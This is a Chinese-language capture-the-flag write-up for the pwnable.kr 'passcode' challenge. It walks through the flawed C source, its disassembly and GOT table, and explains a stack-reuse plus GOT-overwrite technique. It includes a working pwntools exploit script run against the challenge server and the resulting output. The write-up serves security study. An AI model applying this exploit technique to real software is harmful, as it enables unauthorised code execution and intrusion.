

题目：

Mommy told me to make a passcode based login system.  
My initial C code was compiled without any error!  
Well, there was some compiler warning, but who cares about that?

ssh passcode@pwnable.kr -p2222 (pw:guest)

连接查看源码并且运行一下：

```
passcode@prowl:~$ ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : fish
Welcome fish!
enter passcode1 : 123456
Segmentation fault (core dumped)
```

查看源码：

```

#include <stdio.h>
#include <stdlib.h>

void login(){
    int passcode1;
    int passcode2;

    printf("enter passcode1 : ");
    scanf("%d", passcode1);
    fflush(stdin);

    // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
    printf("enter passcode2 : ");
    scanf("%d", passcode2);

    printf("checking...\n");
    if(passcode1==338150 && passcode2==13371337){
        printf("Login OK!\n");
        system("/bin/cat flag");
    }
    else{
        printf("Login Failed!\n");
        exit(0);
    }
}

void welcome(){
    char name[100];
    printf("enter you name : ");
    scanf("%100s", name);
    printf("Welcome %s!\n", name);
}

int main(){
    printf("Toddler's Secure Login System 1.0 beta.\n");

    welcome();
    login();

    // something after login...
    printf("Now I can safely trust you that you have credential :)\n");
    return 0;
}

```

查看源码两个突破口：

1. `scanf` 函数缺少"&"符，这样会导致在程序使用栈上的数据作为指针输入存放的数据
2. `Welcome()`和`login()`两个函数连续调用，则栈底相同

再用 `objdump -d` 查看汇编指令

`login()`:

```

08048564 <login>:
8048564: 55                push    %ebp
8048565: 89 e5            mov     %esp,%ebp
8048567: 83 ec 28        sub     $0x28,%esp
804856a: b8 70 87 04 08  mov     $0x8048770,%eax
804856f: 89 04 24        mov     %eax,(%esp)
8048572: e8 a9 fe ff ff  call    8048420 <printf@plt>
8048577: b8 83 87 04 08  mov     $0x8048783,%eax
804857c: 8b 55 f0        mov     -0x10(%ebp),%edx
804857f: 89 54 24 04     mov     %edx,0x4(%esp)
8048583: 89 04 24        mov     %eax,(%esp)
8048586: e8 15 ff ff ff  call    80484a0 <__isoc99_scanf@plt>
804858b: a1 2c a0 04 08  mov     0x804a02c,%eax
8048590: 89 04 24        mov     %eax,(%esp)
8048593: e8 98 fe ff ff  call    8048430 <fflush@plt>
8048598: b8 86 87 04 08  mov     $0x8048786,%eax
804859d: 89 04 24        mov     %eax,(%esp)
80485a0: e8 7b fe ff ff  call    8048420 <printf@plt>
80485a5: b8 83 87 04 08  mov     $0x8048783,%eax
80485aa: 8b 55 f4        mov     -0xc(%ebp),%edx
80485ad: 89 54 24 04     mov     %edx,0x4(%esp)
80485b1: 89 04 24        mov     %eax,(%esp)
80485b4: e8 e7 fe ff ff  call    80484a0 <__isoc99_scanf@plt>
80485b9: c7 04 24 99 87 04 08  movl    $0x8048799,(%esp)
80485c0: e8 8b fe ff ff  call    8048450 <puts@plt>
80485c5: 81 7d f0 e6 28 05 00  cmpl    $0x528e6,-0x10(%ebp)
80485cc: 75 23          jne     80485f1 <login+0x8d>
80485ce: 81 7d f4 c9 07 cc 00  cmpl    $0xcc07c9,-0xc(%ebp)
80485d5: 75 1a          jne     80485f1 <login+0x8d>
80485d7: c7 04 24 a5 87 04 08  movl    $0x80487a5,(%esp)
80485de: e8 6d fe ff ff  call    8048450 <puts@plt>
80485e3: c7 04 24 af 87 04 08  movl    $0x80487af,(%esp)
80485ea: e8 71 fe ff ff  call    8048460 <system@plt>
80485ef: c9            leave   %eax
80485f0: c3            ret
80485f1: c7 04 24 bd 87 04 08  movl    $0x80487bd,(%esp)
80485f8: e8 53 fe ff ff  call    8048450 <puts@plt>
80485fd: c7 04 24 00 00 00 00  movl    $0x0,(%esp)
8048604: e8 77 fe ff ff  call    8048480 <exit@plt>

```

login 中 passcode1 的偏移为:ebp-0x10

welcome():

```

08048609 <welcome>:
8048609:    55                push    %ebp
804860a:    89 e5             mov     %esp,%ebp
804860c:    81 ec 88 00 00 00 sub     $0x88,%esp
8048612:    65 a1 14 00 00 00 mov     %gs:0x14,%eax
8048618:    89 45 f4          mov     %eax,-0xc(%ebp)
804861b:    31 c0             xor     %eax,%eax
804861d:    b8 cb 87 04 08    mov     $0x80487cb,%eax
8048622:    89 04 24          mov     %eax,(%esp)
8048625:    e8 f6 fd ff ff    call    8048420 <printf@plt>
804862a:    b8 dd 87 04 08    mov     $0x80487dd,%eax
804862f:    8d 55 90          lea     -0x70(%ebp),%edx
8048632:    89 54 24 04       mov     %edx,0x4(%esp)
8048636:    89 04 24          mov     %eax,(%esp)
8048639:    e8 62 fe ff ff    call    80484a0 <__isoc99_scanf@plt>
804863e:    b8 e3 87 04 08    mov     $0x80487e3,%eax
8048643:    8d 55 90          lea     -0x70(%ebp),%edx
8048646:    89 54 24 04       mov     %edx,0x4(%esp)
804864a:    89 04 24          mov     %eax,(%esp)
804864d:    e8 ce fd ff ff    call    8048420 <printf@plt>
8048652:    8b 45 f4          mov     -0xc(%ebp),%eax
8048655:    65 33 05 14 00 00 xor     %gs:0x14,%eax
804865c:    74 05             je      8048663 <welcome+0x5a>
804865e:    e8 dd fd ff ff    call    8048440 <__stack_chk_fail@plt>
8048663:    c9               leave   %eax
8048664:    c3               ret

```

welcome()中 name 的偏移为:ebp-0x70

查看 GOT 表:

```

DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049ff0 R_386_GLOB_DAT __gmon_start__
0804a02c R_386_COPY stdin@@GLIBC_2.0
0804a000 R_386_JUMP_SLOT printf@GLIBC_2.0
0804a004 R_386_JUMP_SLOT fflush@GLIBC_2.0
0804a008 R_386_JUMP_SLOT __stack_chk_fail@GLIBC_2.4
0804a00c R_386_JUMP_SLOT puts@GLIBC_2.0
0804a010 R_386_JUMP_SLOT system@GLIBC_2.0
0804a014 R_386_JUMP_SLOT __gmon_start__
0804a018 R_386_JUMP_SLOT exit@GLIBC_2.0
0804a01c R_386_JUMP_SLOT __libc_start_main@GLIBC_2.0
0804a020 R_386_JUMP_SLOT __isoc99_scanf@GLIBC_2.7

```

利用 scanf 覆写 printf 函数覆盖为: **printf("Login OK!\n");**则可

以直接跳过 if 判断

printf 地址为:0x80485d7, printf 地址为:0x804a000

则可构造 payload

**payload='a'\*0x60+p32(0x804a000)+'134514135\n'**

134514135 是 0x80485d7 的十进制, 因为"%d"为十进制输入

Exp 如下:

```
from pwn import *

target=ssh(user='passcode',host='pwnable.kr',port=2222,password='guest')
printf_Got=0x0804a000

payload='a'*0x60+p32(printf_Got)+str(134514135)

r=target.process(executable='./passcode')

r.send(payload)

r.interactive()
```

得到 flag:

```
fish@ubuntu:/mnt/hgfs/share$ python passcode.py
[+] Connecting to pwnable.kr on port 2222: Done
[*] passcode@pwnable.kr:
  Distro   Ubuntu 16.04
  OS:      linux
  Arch:    amd64
  Version: 4.4.179
  ASLR:    Enabled
[+] Starting remote process './passcode' on pwnable.kr: pid 442972
[*] Switching to interactive mode
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
enter passcode1 : $ ls
Login OK!
Sorry mom.. I got confused about scanf usage :(
Now I can safely trust you that you have credential :)
```